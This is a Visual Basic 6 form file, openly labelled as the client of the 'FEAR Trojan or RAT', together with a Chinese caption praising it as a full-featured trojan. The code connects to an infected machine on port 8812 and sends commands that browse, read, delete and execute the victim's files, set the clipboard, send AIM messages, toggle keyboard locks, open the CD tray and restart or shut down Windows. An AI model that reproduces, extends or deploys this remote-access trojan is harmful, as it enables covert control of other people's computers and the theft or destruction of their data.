form1.frm

很完整的一个木马程序,也可以聊天...功能很全

            Charset         =   0
            Weight          =   700
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         Height          =   240
         Left            =   -74910
         TabIndex        =   26
         Top             =   390
         Width           =   3510
      End
   End
   Begin MSComctlLib.StatusBar SB 
      Align           =   2  'Align Bottom
      Height          =   255
      Left            =   0
      TabIndex        =   5
      Top             =   5235
      Width           =   3780
      _ExtentX        =   6668
      _ExtentY        =   450
      Style           =   1
      SimpleText      =   "Fear Client - Idle"
      ShowTips        =   0   'False
      _Version        =   393216
      BeginProperty Panels {8E3867A5-8586-11D1-B16A-00C0F0283628} 
      EndProperty
   End
   Begin VB.Frame Frame1 
      Caption         =   "Remote Connection Info"
      BeginProperty Font 
         Name            =   "Verdana"
         Size            =   8.25
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   825
      Left            =   0
      TabIndex        =   1
      Top             =   0
      Width           =   3780
      Begin VB.CommandButton cmdDisconnect 
         Caption         =   "Disconnect"
         Height          =   285
         Left            =   2520
         TabIndex        =   8
         Top             =   480
         Width           =   975
      End
      Begin VB.CommandButton cmdConnect 
         Caption         =   "Connect"
         Height          =   285
         Left            =   2520
         TabIndex        =   4
         Top             =   210
         Width           =   975
      End
      Begin VB.TextBox txtIP 
         Height          =   285
         Left            =   975
         TabIndex        =   2
         Text            =   "127.0.0.1"
         Top             =   300
         Width           =   1350
      End
      Begin VB.Label Label1 
         Alignment       =   1  'Right Justify
         Caption         =   "Remote IP:"
         Height          =   225
         Left            =   105
         TabIndex        =   3
         Top             =   300
         Width           =   795
      End
   End
   Begin VB.Menu mnufiles 
      Caption         =   "mnuFiles"
      Visible         =   0   'False
      Begin VB.Menu mnuFilesView 
         Caption         =   "View..."
      End
      Begin VB.Menu mnudiv1 
         Caption         =   "-"
      End
      Begin VB.Menu mnuExecute 
         Caption         =   "Execute"
      End
      Begin VB.Menu mnuPlayMedia 
         Caption         =   "Play Media"
      End
      Begin VB.Menu mnufilesdelete 
         Caption         =   "Delete"
      End
      Begin VB.Menu mnudiv2 
         Caption         =   "-"
      End
      Begin VB.Menu mnuFilesNew 
         Caption         =   "New..."
      End
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
' Title: FEAR Trojan or RAT (client)
' Author: Alan Walker of The Underground Lair
'
' 2.0 will be way better then this example so check back SOON!
'
' http://www.ulair.cjb.net
'
'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Public NameOfFile As String
Private Sub cmbDrives_Change()
cmbDrives.SelStart = Len(cmbDrives.Text)
End Sub

Private Sub cmbDrives_Click()
SD "files " & cmbDrives.Text
End Sub

Private Sub cmbDrives_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
    SD "files " & cmbDrives.Text
End If
End Sub

Private Sub cmdAIMChat_Click()
SD "aimchat " & txtAIMChat
End Sub

Private Sub cmdAIMIM_Click()
SD "aimim " & txtIMSN & ":" & txtAIMIM
End Sub

Private Sub cmdBlackout_Click()
frmBO.Show , Me
End Sub

Private Sub cmdCapsOff_Click()
SD "capsoff"
End Sub

Private Sub cmdCapsOn_Click()
SD "capson"
End Sub

Private Sub cmdChat_Click()
frmChat.sNick = InputBox("What is you handle?", "Nickname", "Client")
SD "chat"
frmChat.Show , Me
End Sub

Private Sub cmdClip_Click()
SD "setclip " & txtClip  ' Set server's clipboard text
End Sub

Private Sub cmdCloseCD_Click()
SD "closecd"
End Sub

Private Sub cmdCloseServer_Click()
SD "closeserver"
End Sub

Private Sub cmdConnect_Click()
WS.Close
WS.Connect txtIP, 8812 ' Connect to server
End Sub

Private Sub cmdDisconnect_Click()
SD "close" ' Disconnect
SB.SimpleText = "Fear Client - Idle" ' Set status to "Idle"
End Sub

Private Sub cmdKrazyKeys_Click()
SD "krazykeys"
End Sub

Private Sub cmdListDrives_Click()
SD "listdrives" ' List remote computer's drives
End Sub

Private Sub cmdMouse_Click()
frmMouse.Show , Me
End Sub

Private Sub cmdNumsOff_Click()
SD "numsoff"
End Sub

Private Sub cmdNumsOn_Click()
SD "numson"
End Sub

Private Sub cmdOpenCD_Click()
SD "opencd"
End Sub

Private Sub cmdPlayCD_Click()
SD "playcd"
End Sub

Private Sub cmdPrint_Click()
frmPrint.Show , Me
End Sub

Private Sub cmdRestart_Click()
'Restart Server's comp
Select Case MsgBox("If you restart windows on the server's computer you will loose the connection. Do you still wish to continue?", vbQuestion + vbYesNo, "Are You Sure?")
Case vbYes
SD "winrestart"
Case vbNo
Exit Sub
End Select
End Sub

Private Sub cmdScrollOff_Click()
SD "scrolloff"
End Sub

Private Sub cmdScrollOn_Click()
SD "scrollon"
End Sub

Private Sub cmdShutdown_Click()
' Shutdown server's comp
Select Case MsgBox("If you shutdown windows on the server's computer you will loose the connection. Do you still wish to continue?", vbQuestion + vbYesNo, "Are You Sure?")
Case vbYes
SD "winshutdown"
Case vbNo
Exit Sub
End Select
End Sub

Private Sub cmdStopCD_Click()
SD "stopcd"
End Sub

Private Sub cmdWhoIMsn_Click()
SD "imsn?"
End Sub

Private Sub cmdUpdateInfo_Click()
SD "updateinfo"  ' Update the remote computee's information
End Sub

Private Sub cmdWWW_Click()
SD "www " & txtWWW
End Sub

Private Sub Command2_Click()
SD "msg " & txtMessage
End Sub

Private Sub Command7_Click()

End Sub

Private Sub List1_Click()
If List1.List(List1.ListIndex) = ".." Then
    Exit Sub
End If
If Mid(List1.List(List1.ListIndex), 2, 1) = ":" Then
    cmbDrives.Text = List1.List(List1.ListIndex)
    dir = Mid(List1.List(List1.ListIndex), 1, 3)
Else
    cmbDrives.Text = dir & List1.Text 'dir & List1.List(List1.ListIndex)
End If
End Sub

Private Sub List1_DblClick()
If List1.List(List1.ListIndex) = ".." Then
    For i = Len(cmbDrives.Text) - 1 To 1 Step -1
        If Mid(cmbDrives.Text, i, 1) = "\" Then
            cmbDrives.Text = Mid(cmbDrives.Text, 1, i)
            SD "files " & cmbDrives.Text
            Exit Sub
        End If
    Next i
    Exit Sub
End If
If Mid(List1.List(List1.ListIndex), 2, 1) = ":" Then
    cmbDrives.Text = List1.List(List1.ListIndex)
    dir = List1.List(List1.ListIndex)
Else
    cmbDrives.Text = CurrentDir & List1.List(List1.ListIndex)
End If
SD "files " & cmbDrives.Text
End Sub

Private Sub List1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If List1.Text = "" Then Exit Sub
If Button = 2 Then frmMain.PopupMenu mnufiles
End Sub

Private Sub mnuExecute_Click()
SD "openit " & cmbDrives.Text
End Sub

Private Sub mnufilesdelete_Click()
SD "deleteit " & cmbDrives.Text
End Sub

Private Sub mnuFilesView_Click()
SD "sendtxtfile " & cmbDrives.Text
NameOfFile = cmbDrives.Text
End Sub

Private Sub mnuPlayMedia_Click()
SD "playmedia " & cmbDrives.Text
End Sub

Private Sub txtJoinChat_Click()
SD "goaimchat " & txtChatNAme
End Sub

Private Sub txtWhoIMSN_Change()

End Sub

Private Sub WS_DataArrival(ByVal BytesTotal As Long)
Dim ArrayTemp() As String
    Dim aTemp() As String
    Dim sServerCommand As String, lSpace As Long
    Dim Arg1 As String, Arg2 As String, i As Integer
    Dim i1 As Long, i2 As Long, i3 As Long, i4 As Long, i5 As Long
    Dim iTemp As Integer
    Dim arTemp() As String
    Dim sTemp As String, sTemp2 As String
    
Dim NewData As String
    WS.GetData NewData, vbString
    
    Dim aCommandList() As String
    aCommandList = Split(NewData, cMsgSep)
    
    Dim nCount As Integer
    For nCount = LBound(aCommandList) To UBound(aCommandList)
        If Trim$(aCommandList(nCount)) = "" Then
            GoTo Reset:
        End If
        
        NewData = aCommandList(nCount)
        
        ' Reset some variables
        sTemp = ""
        DoEvents
        
        lSpace = InStr(1, NewData, " ")
        If lSpace <> 0 Then
            sServerCommand = Trim$(LCase$(Mid$(NewData, 1, lSpace - 1)))
            
            ' Get arguments
            If InStr(lSpace + 1, NewData, ":") <> 0 Then
                Arg1 = Mid$(NewData, lSpace + 1, InStr(lSpace + 1, NewData, ":") - (lSpace + 1))
                Arg2 = Mid$(NewData, InStr(lSpace + 1, NewData, ":") + 1)
            End If
        Else
            sServerCommand = Trim$(LCase$(NewData))
        End If
        '"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
        
        Select Case sServerCommand
        Case "connected"  ' Server say that you are successfully connected
        SB.SimpleText = "Fear Client - Connected (" & WS.RemoteHostIP & ")"
        GoTo Reset
        
        Case "disconnected" ' Server Closes
        SB.SimpleText = "Fear Client - Idle"
        GoTo Reset
        
        Case "drive" ' Show server's drive
        DispDrives Mid$(NewData, lSpace + 1)
        GoTo Reset
        
        Case "files" ' Show server's files
        DispFiles Mid$(NewData, lSpace + 1)
        GoTo Reset
        
        Case "sendtxtfile" ' Recieve text file
        Load frmText
        frmText.Caption = NameOfFile
        frmText.Visible = True
        frmText.txtText.Text = Mid$(NewData, lSpace + 1)
        GoTo Reset
          
        Case "info" ' Recieve Info
           txtInfo = Mid$(NewData, lSpace + 1)
           GoTo Reset
           
           Case "err" ' Error from server
           errmsg Mid$(NewData, lSpace + 1)
           GoTo Reset
           
        Case "chatmsg" ' Message for chat
        
        Dim ChatMsg, ChatName As String
        
         ChatMsg = Trim$(Arg2)
         ChatName = Trim$(Arg1)
         
         frmChat.addChat Arg1, Arg2
         
         GoTo Reset
           
           End Select
           '"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
           
Reset:
        DoEvents
    Next nCount
End Sub

Private Sub WSN_Connect()

End Sub

Private Sub WSN_ConnectionRequest(ByVal requestID As Long)
WS.Close
WS.Accept requestID
End Sub